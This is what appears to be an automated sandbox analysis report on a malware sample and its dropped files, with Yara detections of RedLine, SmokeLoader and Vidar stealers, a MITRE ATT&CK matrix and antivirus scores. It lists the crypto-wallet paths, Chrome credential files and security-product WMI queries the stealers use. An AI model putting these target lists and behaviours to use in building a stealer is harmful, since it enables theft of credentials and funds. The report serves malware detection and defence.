Source: C:\Users\user\AppData\Local\Temp\9B5C.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\9B5C.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\9B5C.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\C26E.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\C26E.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\C26E.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\C26E.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\C26E.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\C26E.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\C26E.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\C26E.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\C26E.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\H4HU4rg1NM.exe

Code function: 1_2_0042C6C0 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

1_2_0042C6C0

Source: C:\Users\user\AppData\Local\Temp\4D1A.exe

Code function: 25_2_0040AD40 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

25_2_0040AD40

Source: C:\Users\user\AppData\Local\Temp\4D1A.exe

Code function: 25_2_0040ACA0 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

25_2_0040ACA0

Source: C:\Users\user\Desktop\H4HU4rg1NM.exe

1_2_0041C7B7

Source: C:\Users\user\AppData\Local\Temp\325D.exe

Code function: 22_2_0041A9D8 VerLanguageNameA,GetConsoleAliasesLengthA,SetConsoleCP,VerifyVersionInfoW,GetVersionExA,GetExitCodeProcess,TerminateThread,

22_2_0041A9D8

Source: C:\Users\user\AppData\Local\Temp\110B.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\110B.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Local\Temp\110B.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Users\user\AppData\Local\Temp\110B.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\110B.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Local\Temp\110B.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct

Source: 110B.exe, 0000001E.00000002.557101514.00000000064E0000.00000004.00000001.sdmp	Binary or memory string: ender\MsMpeng.exe
Source: 110B.exe, 0000001E.00000002.551688741.0000000000CBF000.00000004.00000020.sdmp, 110B.exe, 0000001E.00000002.557101514.00000000064E0000.00000004.00000001.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Stealing of Sensitive Information:

Yara detected RedLine Stealer

Show sources

Source: Yara match	File source: 40.0.9B5C.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.0.C26E.exe.e40000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.AppLaunch.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.0.9B5C.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.110B.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.0.9B5C.exe.400000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.110B.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.2.A87C.exe.c3b04.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.110B.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.0.C26E.exe.e40000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.0.C26E.exe.e40000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.110B.exe.400000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.110B.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.110B.exe.44ffda0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.0.9B5C.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.110B.exe.44ffda0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.2.A87C.exe.c3b04.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.0.C26E.exe.e40000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.110B.exe.400000.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.3.A87C.exe.3720000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.2.9B5C.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.0.9B5C.exe.400000.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.2.C26E.exe.e40000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001E.00000000.448610314.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000000.517465012.0000000000E42000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000000.541684095.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000000.447644311.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000000.515568258.0000000000E42000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000000.538447089.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.545178497.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.558023799.0000000000402000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.517417859.00000000000C2000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000000.447017535.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000003.516926123.0000000003722000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000000.448094687.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000000.518196464.0000000000E42000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000002.557976871.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000000.516435766.0000000000E42000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.453201670.00000000043E1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000000.536505179.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000000.540001964.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000002.557976781.0000000000E42000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\C26E.exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 00000003.00000002.338228671.0000000002431000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.338186789.0000000002170000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000000.322844951.0000000004DE1000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.386977371.0000000000521000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.415364379.0000000001F51000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.415203657.0000000000460000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.386920457.0000000000420000.00000004.00000001.sdmp, type: MEMORY

Yara detected Vidar stealer

Show sources

Source: Yara match	File source: 00000019.00000002.440948054.00000000007C3000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.526471629.000000000069D000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 4D1A.exe PID: 7112, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 8CA5.exe PID: 5208, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Show sources

Source: 4D1A.exe, 00000019.00000002.440948054.00000000007C3000.00000004.00000001.sdmp	String found in binary or memory: \Electrum\wallets\
Source: 4D1A.exe, 00000019.00000002.440948054.00000000007C3000.00000004.00000001.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: 4D1A.exe, 00000019.00000002.440948054.00000000007C3000.00000004.00000001.sdmp	String found in binary or memory: \Electrum\wallets\
Source: 4D1A.exe, 00000019.00000002.440948054.00000000007C3000.00000004.00000001.sdmp	String found in binary or memory: window-state.json
Source: 4D1A.exe, 00000019.00000002.440948054.00000000007C3000.00000004.00000001.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: 4D1A.exe, 00000019.00000002.440948054.00000000007C3000.00000004.00000001.sdmp	String found in binary or memory: exodus.conf.json
Source: 4D1A.exe, 00000019.00000002.440948054.00000000007C3000.00000004.00000001.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: 4D1A.exe, 00000019.00000002.440948054.00000000007C3000.00000004.00000001.sdmp	String found in binary or memory: info.seco
Source: 4D1A.exe, 00000019.00000002.440948054.00000000007C3000.00000004.00000001.sdmp	String found in binary or memory: ElectrumLTC
Source: 4D1A.exe, 00000019.00000002.440948054.00000000007C3000.00000004.00000001.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: 4D1A.exe, 00000019.00000002.440948054.00000000007C3000.00000004.00000001.sdmp	String found in binary or memory: passphrase.json
Source: 4D1A.exe, 00000019.00000002.440948054.00000000007C3000.00000004.00000001.sdmp	String found in binary or memory: \Ethereum\
Source: 4D1A.exe, 00000019.00000002.440948054.00000000007C3000.00000004.00000001.sdmp	String found in binary or memory: exodus.conf.json
Source: 4D1A.exe, 00000019.00000002.440948054.00000000007C3000.00000004.00000001.sdmp	String found in binary or memory: file__0.localstorage
Source: 4D1A.exe, 00000019.00000002.440948054.00000000007C3000.00000004.00000001.sdmp	String found in binary or memory: \Ethereum\
Source: 4D1A.exe, 00000019.00000002.440948054.00000000007C3000.00000004.00000001.sdmp	String found in binary or memory: default_wallet
Source: 4D1A.exe, 00000019.00000002.440948054.00000000007C3000.00000004.00000001.sdmp	String found in binary or memory: multidoge.wallet
Source: 4D1A.exe, 00000019.00000002.440948054.00000000007C3000.00000004.00000001.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: 4D1A.exe, 00000019.00000002.440948054.00000000007C3000.00000004.00000001.sdmp	String found in binary or memory: seed.seco
Source: 4D1A.exe, 00000019.00000002.440948054.00000000007C3000.00000004.00000001.sdmp	String found in binary or memory: keystore
Source: 4D1A.exe, 00000019.00000002.440948054.00000000007C3000.00000004.00000001.sdmp	String found in binary or memory: \Electrum-LTC\wallets\

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data

Tries to steal Crypto Currency Wallets

Show sources

Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\110B.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior

Source: Yara match	File source: 00000019.00000002.440948054.00000000007C3000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.526471629.000000000069D000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000002.576141783.00000000032B5000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 4D1A.exe PID: 7112, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 110B.exe PID: 5708, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 8CA5.exe PID: 5208, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 9B5C.exe PID: 6252, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: C26E.exe PID: 6500, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AppLaunch.exe PID: 4400, type: MEMORYSTR

Remote Access Functionality:

Yara detected RedLine Stealer

Show sources

Source: Yara match	File source: 40.0.9B5C.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.0.C26E.exe.e40000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.AppLaunch.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.0.9B5C.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.110B.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.0.9B5C.exe.400000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.110B.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.2.A87C.exe.c3b04.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.110B.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.0.C26E.exe.e40000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.0.C26E.exe.e40000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.110B.exe.400000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.110B.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.110B.exe.44ffda0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.0.9B5C.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.110B.exe.44ffda0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.2.A87C.exe.c3b04.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.0.C26E.exe.e40000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.110B.exe.400000.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.3.A87C.exe.3720000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.2.9B5C.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.0.9B5C.exe.400000.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.2.C26E.exe.e40000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001E.00000000.448610314.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000000.517465012.0000000000E42000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000000.541684095.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000000.447644311.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000000.515568258.0000000000E42000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000000.538447089.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.545178497.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.558023799.0000000000402000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.517417859.00000000000C2000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000000.447017535.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000003.516926123.0000000003722000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000000.448094687.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000000.518196464.0000000000E42000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000002.557976871.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000000.516435766.0000000000E42000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.453201670.00000000043E1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000000.536505179.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000000.540001964.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000002.557976781.0000000000E42000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\C26E.exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 00000003.00000002.338228671.0000000002431000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.338186789.0000000002170000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000000.322844951.0000000004DE1000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.386977371.0000000000521000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.415364379.0000000001F51000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.415203657.0000000000460000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.386920457.0000000000420000.00000004.00000001.sdmp, type: MEMORY

Yara detected Vidar stealer

Show sources

Source: Yara match	File source: 00000019.00000002.440948054.00000000007C3000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.526471629.000000000069D000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 4D1A.exe PID: 7112, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 8CA5.exe PID: 5208, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation221	DLL Side-Loading1	DLL Side-Loading1	Disable or Modify Tools111	OS Credential Dumping1	System Time Discovery2	Remote Services	Archive Collected Data11	Exfiltration Over Other Network Medium	Ingress Tool Transfer14	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Native API11	Application Shimming1	Application Shimming1	Deobfuscate/Decode Files or Information11	Input Capture1	Account Discovery1	Remote Desktop Protocol	Data from Local System3	Exfiltration Over Bluetooth	Encrypted Channel21	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Exploitation for Client Execution1	Logon Script (Windows)	Process Injection713	Obfuscated Files or Information3	Security Account Manager	File and Directory Discovery3	SMB/Windows Admin Shares	Input Capture1	Automated Exfiltration	Non-Standard Port1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	Command and Scripting Interpreter2	Logon Script (Mac)	Logon Script (Mac)	Software Packing34	NTDS	System Information Discovery247	Distributed Component Object Model	Input Capture	Scheduled Transfer	Non-Application Layer Protocol4	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Timestomp1	LSA Secrets	Query Registry1	SSH	Keylogging	Data Transfer Size Limits	Application Layer Protocol125	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	DLL Side-Loading1	Cached Domain Credentials	Security Software Discovery1291	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	File Deletion1	DCSync	Process Discovery12	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Masquerading11	Proc Filesystem	Virtualization/Sandbox Evasion671	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Virtualization/Sandbox Evasion671	/etc/passwd and /etc/shadow	Application Window Discovery1	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Process Injection713	Network Sniffing	System Owner/User Discovery1	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	Hidden Files and Directories1	Input Capture	Remote System Discovery1	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
H4HU4rg1NM.exe	34%	Virustotal		Browse
H4HU4rg1NM.exe	53%	ReversingLabs	Win32.Trojan.Raccrypt
H4HU4rg1NM.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\A87C.exe	100%	Avira	TR/Crypt.ASPM.Gen
C:\Users\user\AppData\Local\Temp\110B.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\56DF.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\325D.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\9B5C.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\7728.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\iudbdfd	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\A87C.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\4D1A.exe	100%	Joe Sandbox ML
C:\ProgramData\sqlite3.dll	3%	Metadefender		Browse
C:\ProgramData\sqlite3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\sqlite3[1].dll	3%	Metadefender		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\sqlite3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\110B.exe	60%	ReversingLabs	ByteCode-MSIL.Trojan.AgentTesla
C:\Users\user\AppData\Local\Temp\325D.exe	20%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\325D.exe	50%	ReversingLabs	Win32.Trojan.Raccrypt
C:\Users\user\AppData\Local\Temp\4D1A.exe	40%	ReversingLabs
C:\Users\user\AppData\Local\Temp\7728.exe	26%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\7728.exe	44%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\8CA5.exe	28%	ReversingLabs

Unpacked PE Files

Source	Detection	Scanner	Label	Download
37.0.8CA5.exe.f80000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
23.1.325D.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
18.1.iudbdfd.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
3.1.H4HU4rg1NM.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
25.2.4D1A.exe.5c0e50.1.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
23.0.325D.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
